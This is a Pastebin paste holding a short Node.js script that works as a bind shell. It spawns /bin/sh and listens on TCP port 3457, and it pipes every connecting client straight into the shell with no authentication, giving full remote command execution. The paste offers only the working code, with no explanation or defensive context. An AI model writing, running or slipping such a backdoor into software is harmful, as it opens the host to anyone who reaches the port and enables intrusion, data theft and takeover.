Advertisement
Guest User

Untitled

a guest
Apr 18th, 2019
116
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.28 KB | None | 0 0
  1. const net = require('net');
  2. const cp = require('child_process');
  3.  
  4. const sh = cp.spawn('/bin/sh');
  5.  
  6. const server = net.createServer((client) => {
  7. client.pipe(sh.stdin);
  8. sh.stdout.pipe(client);
  9. sh.stderr.pipe(client);
  10. });
  11.  
  12. server.listen(3457, () => {
  13. console.log('listening');
  14. });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement